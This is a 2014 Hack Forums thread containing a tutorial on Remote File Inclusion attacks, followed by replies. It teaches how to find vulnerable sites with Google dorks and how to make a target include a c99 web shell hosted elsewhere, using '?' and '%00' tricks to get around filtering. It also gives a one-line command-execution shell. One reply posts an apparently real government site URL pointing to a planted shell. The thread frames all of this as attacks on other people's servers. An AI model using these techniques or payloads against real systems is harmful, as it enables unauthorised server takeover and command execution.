

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Remote File Inclusion](#)

-zERaIT - February 18, 2014, 5:29 am

Remote File Inclusion

In this tutorial we'll be talking about Remote File Inclusion.

What is RFI?

RFI stands for Remote File Inclusion.

RFI is a pretty easy way of exploiting vulnerability's but, it's a very uncommon way of exploiting a vulnerability..

Remote File Inclusion is exactly what the name says it is, include a file into a directory remotely.

Finding a vulnerable website:

This can be done through many ways, I'll use google dorks.

Here's a list of them:

Quote:<http://pastebin.com/eeMDUWin>

Pick a dork, go to google and hit enter.

Including your shell to our target:

What do we need?

- An uploaded shell in .txt format.
- An possible RFI vulnerable target.

Let's say this is our website with our shell uploaded in .txt format:

Quote:<http://www.mysite.com/c99.txt>

We also have our target:

Quote:<http://www.targetwebsite.com/index.php?P=test.php>

Our target is including "test.php", below I'll post a slice of code that could be responsible for including "test.php", I'll also explain what happens in the background.

PHP Code

```
<?php
$page=$_GET['test'];
include($page.".php");
?>
```

Explanation of this PHP code:

\$ is used to assign a variable in PHP. We have our variable "\$page", after that the website is using the GET statement to assign "test.php".

At last we got our include statement, which is including our "\$page" variable, and will put a ".php" behind our page.

But, we don't want our website to include "test.php", so we're going to try to let him include our shell.

Example:

Quote:<http://www.targetwebsite.com/index.php?P=http://www.mysite.com/c99.txt>

In the background our code will change to this:

PHP Code

```
<?php
$page =http://www.mysite.com/c99.txt?;
include($page.".php");
?>
```

So, instead of letting the website include "test.php", we've let him include our shell.

As you may have noticed, we're putting a "?" behind our syntax.

So, why exactly are we doing that?

We're doing that because our include statement sais that it has to put a ".php" behind every file that gets included, and we don't want to have that happend to our shell.

Since this would fuck the whole shell up.

There might be a change that "c99.txt" is not enough and it gets filterd, you can add "%00" afterwards to bypass this.

Why is RFI uncommon?

Quote:Thanks to JoinSeventh for helping writing this down.

Remote File Inclusion requires allow_url_fopen and allow_url_include to be enabled.

In most cases allow_url_include is disabled by default.

If allow_url_include is disabled RFI could still occur through functions like file_get_contents and fopen if allow_url_fopen is enabled (and the developer is dun goofd, this takes some extremely bad coding).

Some examples below:

Code \$ grep 'allow_url_fopen|allow_url_include' /etc/php5/apache2/php.ini

allow_url_fopen = On

allow_url_include = Off

this is our evil.txt

PHP Code

```
<?php
system($_GET['cmd']);
```

include()

Spoiler [\(Click to View\)](#)

You can see here that by default, it will raise an error stating that allow_url_include is disabled.

file_get_contents()

Spoiler [\(Click to View\)](#)

fopen() and fread()

Spoiler [\(Click to View\)](#)

However, consider this instead:

Code \$ grep 'allow_url_fopen|allow_url_include' /etc/php5/apache2/php.ini

allow_url_fopen = Off

allow_url_include = Off

include()

Spoiler [\(Click to View\)](#)

You can see here that it's not saying allow_url_include = 0 like before, but allow_url_fopen = 0 instead.

You could actually enable allow_url_include, it would still raise this error.

fopen() and fread()

Spoiler [\(Click to View\)](#)

Now this is also causing an error

file_get_contents()

Spoiler [\(Click to View\)](#)

And this is causing an error too.

Now you know what's actually going on behind the scene.

Note:

In all of the above, the default included file would probably be something like http://remote-server/default.php.source since you can not read executed PHP files remotely (obviously).

You can read my other tutorials by clicking below. [\[Tutorial\] Basic / Union based SQL Injection](#)

[\[Tutorial\] String Based SQL Injection](#)

[\[Tutorial\] MsSQL Injection](#)

[\[Tutorial\] Web Application Firewall \[WAF\]](#)

[\[Tutorial\] Server Side Include Injection \[SSI Injection\]](#)

[\[Tutorial\] XPath Injection \[ExtractValue\]](#)

[\[Tutorial\] Remote File Inclusion](#)

[\[Tutorial\] Directory Traversal](#)

Thats it for now, if you still have any questions related to Remote File Inclusion then feel free to hit me up.

Thanks for viewing my thread.?

ByteNull - February 18, 2014, 5:31 am

Intresting tutorial OP, might try this someday!

?XiS - February 18, 2014, 5:42 am

Thanks for this, i'll try it out later and see how it goes.

I may release some exploits for hacking sites that haven't been released on this forum yet.

SHADOW REALM - February 18, 2014, 5:45 am

RFI is dead. You would be lucky to find 1 site in 1 million that are vuln

-zERaIT - February 18, 2014, 5:50 am

(Feb 18, 2014 06:45 AM)SHADOW REALM Wrote: [\[CITE\]](#) RFI is dead. You would be lucky to find 1 site in 1 million that are vuln

It's indeed a bit dead, but I thought it would be usefull for some of the members here.

JoinSeventh - February 18, 2014, 7:28 am

Quote:but, it's a very uncommon vurnability. Maybe you should've explained why it's a "very uncommon vurnability".

I'll do it for you:

Remote File Inclusion requires `allow_url_fopen` and `allow_url_include` to be enabled.

In most cases `allow_url_include` is disabled by default.

If `allow_url_include` is disabled RFI could still occur through functions like `file_get_contents` and `fopen` if `allow_url_fopen` is enabled (and the developer is dun goofd, this takes some extremely bad coding).

Some examples below:

Code `$ grep 'allow_url_fopen\|allow_url_include' /etc/php5/apache2/php.ini`

`allow_url_fopen = On`

`allow_url_include = Off`

this is our evil.txt

PHP Code

`<?php`

`system($_GET['cmd']);`

`include()`

Spoiler [\(Click to View\)](#)

You can see here that by default, it will raise an error stating that `allow_url_include` is disabled.

`file_get_contents()`

Spoiler [\(Click to View\)](#)

`fopen()` and `fread()`

Spoiler [\(Click to View\)](#)

However, consider this instead:

Code `$ grep 'allow_url_fopen\|allow_url_include' /etc/php5/apache2/php.ini`

`allow_url_fopen = Off`

`allow_url_include = Off`

`include()`

Spoiler [\(Click to View\)](#)

You can see here that it's not saying `allow_url_include = 0` like before, but `allow_url_fopen = 0` instead.

You could actually enable `allow_url_include`, it would still raise this error.

`fopen()` and `fread()`

Spoiler [\(Click to View\)](#)

Now this is also causing an error

`file_get_contents()`

Spoiler [\(Click to View\)](#)

And this is causing an error too.

Now you know what's actually going on behind the scene.

Added a quick note before someone starts to flame:

in all of the above, the default included file would probably be something like

`http://remote-server/default.php.source` since you can not read executed PHP files remotely (obviously).

Th3PonyWizard - February 18, 2014, 1:51 pm

God damn it Join stealing my show. I'll just add you need `allow_url_fopen()`; to be on as well (If it wasn't clear already). ugh I wanted this one :<

Edit: Aaaand you covered that one as well. God damn it.

FFHE - February 18, 2014, 3:33 pm

(Feb 18, 2014 06:29 AM)MaskedMyS Wrote: [\[CITE\]](#)

[img]http://imagizer.imageshack.us/v2/640x480q90/59/l6nz.png[/img]

This is actually fucking hilarious.

(Feb 18, 2014 08:28 AM)JoinSeventh Wrote: [\[CITE\]](#) `include()`

>highlights php functions in blue

PHIZO IS THAT YOU

mObile - February 18, 2014, 5:13 pm

Like this?

Quote:<http://www.upravnisudrh.hr/frames.php?right=http://corz.org/corz/c99.php?>

And please don't be skiddish and remove my shell. ?

Spoiler [\(Click to View\)](#)

lawl ?

JoinSeventh - February 18, 2014, 5:18 pm

(Feb 18, 2014 06:13 PM)m0bi13_xT™ Wrote: [\[CITE\]](#) Like this?

And please don't be skiddish and remove my shell. ?

Spoiler [\(Click to View\)](#)

lawl ?

Nice iframe injection you got there.

Too bad it's not a RFI vuln...

Quote:/home/sites/corz.org/httpdocs/corz/scripts/

Exusia - February 18, 2014, 6:53 pm

(Feb 18, 2014 06:18 PM)JoinSeventh Wrote: [\[CITE\]](#) Nice iframe injection you got there.classic iframe injection. very severe vuln.

AkDK - May 25, 2016, 6:30 am

Thanks For Sharing With Us